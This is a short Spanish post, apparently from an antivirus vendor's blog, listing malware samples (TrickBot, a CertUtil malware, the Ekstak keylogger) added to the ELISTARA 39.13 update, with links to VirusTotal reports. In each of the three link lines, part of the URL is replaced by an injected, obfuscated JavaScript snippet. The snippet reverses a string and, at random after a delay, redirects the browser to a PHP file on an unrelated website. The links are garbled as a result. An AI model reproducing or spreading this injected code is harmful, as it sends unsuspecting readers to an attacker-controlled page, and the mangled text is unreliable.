Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA 39.13 de hoy

Extracto de los analisis de muestras de malware que añadimos al control del ELISTARA 39.13

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/492aaf70e95987373a3c01f6afa10c9f064d756871d6b02d7f65e03e70e92ac9/analysis/1527508077/” target=”_blank” rel=”noopener”>Trojan.Totbrick, TrickBot o Trickster

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/74408283fa9b843b8e2ceb46851a5ebcc3c7bb3bd652664fb0adc67e0eb2abb3/analysis/1527508156/” target=”_blank” rel=”noopener”>Malware CertUtil

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/d2f58b08f8abfe5055f3c1f0b8d991dfe1deb62807a5336b134ce2fb36d87284/analysis/1527508230/” target=”_blank” rel=”noopener”>Keylogger Ekstak

En ellos puede verse como los controlan los demás antivirus del VirusTotal y demás caracteristicas segun los resultados obtenidos por dicho analizador (En Detalles/Información adicional de cada uno de los informes correspondientes)

saludos

ms, 28-5-2018